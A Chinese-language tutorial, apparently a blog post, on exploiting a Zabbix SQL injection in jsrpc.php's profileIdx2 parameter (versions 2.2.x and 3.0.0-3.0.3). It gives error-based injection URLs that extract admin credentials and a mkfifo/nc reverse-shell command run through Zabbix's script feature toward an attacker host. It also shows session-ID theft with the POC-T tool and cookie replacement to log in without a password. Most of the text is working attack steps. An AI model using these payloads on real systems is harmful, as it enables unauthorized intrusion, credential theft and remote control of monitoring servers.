Zabbix 是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统,也可通过script等功能易直接获取Zabbix服务器的操作系统权限。

1.1. 漏洞利用条件

Zabbix 开启了guest权限。而在Zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

1.2. 影响版本

Zabbix 2.2.x, 3.0.0-3.0.3

通过浏览器直接访问Zabbix

0x01 注入

测试注入,可以发现页面将会报错,并出现如下信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=+or+updatexml(,md5(0x11),)+or+=)%&updateProfile=true&period=&stime=&resourcetype=

通过这个现象,即可得知漏洞存在。

利用这个漏洞,我们可以进行错误型sql注射,即可获取管理员的信息。

通过构造payload,获取用户名和密码信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=%20and%(select%%20from%(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%,),floor(rand()*))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=&stime=&resourcetype=

这个漏洞的问题参数在于profileIdx2,因此payload写在此处。

利用这个payload,可以成功获取到管理员的用户名和密码信息

Admin~5fce1b3e34b520afeffb37ce08c7cd66~~

通过md5解密,即可成功获得密码

到此为止,已经成功获取到了用户名和密码:Admin/zabbix

登录后台

0x02 后台getshell

进入web页面后,前往脚本页面利用zabbix自带的命令行实现反弹shell

创建如下的一个脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh   -i >&|nc 攻击机ip地址    >/tmp/f

点击存档以后,在攻击机中开启一个接收shell端

nc -lvp 

在zabbix页面中,重新返回到首页。在下述位置点击执行脚本

执行成功以后,前往攻击机查看是否接收到shell

方法2

第一种方法属于直接获取管理员的密码信息进行登陆,但是有时候密码设置的很复杂,没办法破解的时候,可以采用方法2。

这个方法是通过sql注入漏洞获取Zabbix登陆用的sessionid,通过修改sessionid从而无需用户名密码即可直接登陆。

这里需要用到一个脚本

脚本地址:

https://github.com/Xyntax/POC-T

将这款工具在攻击机中安装成功,然后执行下面的命令

python POC-T.py -s zabbix-jsrpc-mysql-exp   -iS http://zabbix服务器的ip地址/zabbix/php

可以看到,直接即可获取到密码信息和sessionid

password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66',   'Session_id:45e0bac4f0b73bb41706a70adec8a097')

接下来,我们使用burp进行抓包,修改sessionid直接登陆。

将cookie中的zbx_sessionid修改为我们找到的sessionid。

点击forward

接下来,我们可以看到,成功的进入后台中

Zabbix 2.2系列注入+getsehll的更多相关文章

  1. zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

    漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统 ...

  2. zabbix监控系统系列

    来自网站:http://www.361way.com/zabbix-summarize/3335.html 一.zabbix的特点 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能 ...

  3. ZABBIX新功能系列1-使用Webhook将告警主动推送至第三方系统

    Zabbix5以来的新版本与以前的版本除UI界面变化较大外,在很多功能上也有许多亮点,我这里计划安排1个系列来和大家交流一些新功能的使用,这是第一篇:使用Webhook将告警主动推送至第三方系统. 首 ...

  4. zabbix latest.php SQL注入漏洞(CVE-2016-10134)

    Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本 latest.php页面提取cookie中的zbx_sessionid的后16位 246c58ba963457ef http://19 ...

  5. zabbix注入过程分析

    Zabbix jsrpc.php sql 注入过程分析 漏洞公开详情(https://support.zabbix.com/browse/ZBX-11023)中提示在insertDB() 中的inse ...

  6. zabbix 安装配置以及漏洞检测脚本

    最近zabbix爆出sql注入漏洞.之前一直没装过.就想着来安装一次.我在centos配置玩玩,记录一下:1.安装LAMP yum -y install httpd  mysql  mysql-ser ...

  7. Zabbix-20160817-高危SQL注入漏洞

    漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系 ...

  8. Zabbix漏洞学习

    Zabbix介绍 zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案. zabbix能监视各种网络参数,保证服务器系统的安全运营:并提供灵 ...

  9. 我为NET狂~群福利:逆天书库

    我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...

随机推荐

  1. .Net基础篇_学习笔记_第四天_switch-case

    swith-case 用来处理多条件的定值的判断. 语法: switch(变量或者表达式的值) { case 值1:要执行的代码: break: case 值2:要执行的代码: break: case ...

  2. Hive数据导入/导出

    1.1 导入/导出规则 EXPORT 命令导出数据表或分区,与元数据一起输出到指定位置.又可以从这个输出位置移动到不同的Hadoop 或Hive 实例中,并且使用IMPORT 命令导入. 当导出一个分 ...

  3. 微信支付中分账功能 填坑指南V1

    公司是做电商的,近期开发了一款小程序,准备线上线下同步销售玩具.这里就涉及到微信支付的功能,网上有很多教程,官方也有文档和Demo,因此微信支付还是比较容易实现的. 由于我们公司是和其他公司合作运营的 ...

  4. Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x00000000fa980000, 59244544, 0) failed; error='Cannot allocate memory' (errno=12)

    启动项目报错 Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x00000000fa980000, 592445 ...

  5. [Leetcode] 第289题 生命游戏

    一.题目描述 根据百度百科,生命游戏,简称为生命,是英国数学家约翰·何顿·康威在1970年发明的细胞自动机. 给定一个包含 m × n 个格子的面板,每一个格子都可以看成是一个细胞.每个细胞具有一个初 ...

  6. Linux线程唤醒与等待

    生产者消费者模式在程序设计中出现频率非常高,经常会有线程间通过消息队列或其他共享变量进行交互的场景.而这时就会出现一个问题,消费者如何知道生产者已经生产了数据呢?有的程序会采取消费者循环判断消息队列大 ...

  7. 使用最新版Mybatis逆向工程生成属性不全的问题

    这是出现问题时打印的日志 首先查看表内的字段 这张User表含8个属性,但是在逆向工程过程中生成的Pojo类不全还出现了不存在的属性 主要在逆向工程过程中的一个配置问题,修改generatorConf ...

  8. easyui-datetimebox 控件绑定双击事件实现自动选中当前日期时间

    本方法是在不改变原 js 的情况下,通过扩展方法来实现本目的 首先在 datetimebox 控件中扩展一个 绑定双击事件 的方法 $.extend($.fn.datetimebox.methods, ...

  9. Scrapy项目 - 数据简析 - 实现斗鱼直播网站信息爬取的爬虫设计

    一.数据分析截图(weka数据分析截图 2-3个图,作业文字描述) 本次将所爬取的数据信息,如:房间数,直播类别和人气,导入Weka 3.7工具进行数据分析.有关本次的数据分析详情详见下图所示:   ...

  10. F#周报2019年第39期

    新闻 宣告F# 4.7 宣告.NET Core 3.0 .NET Core 3.0中ASP.NET Core与Blazor的更新 .NET Conf 2019里提到的ML.NET与模型构建器 参与.N ...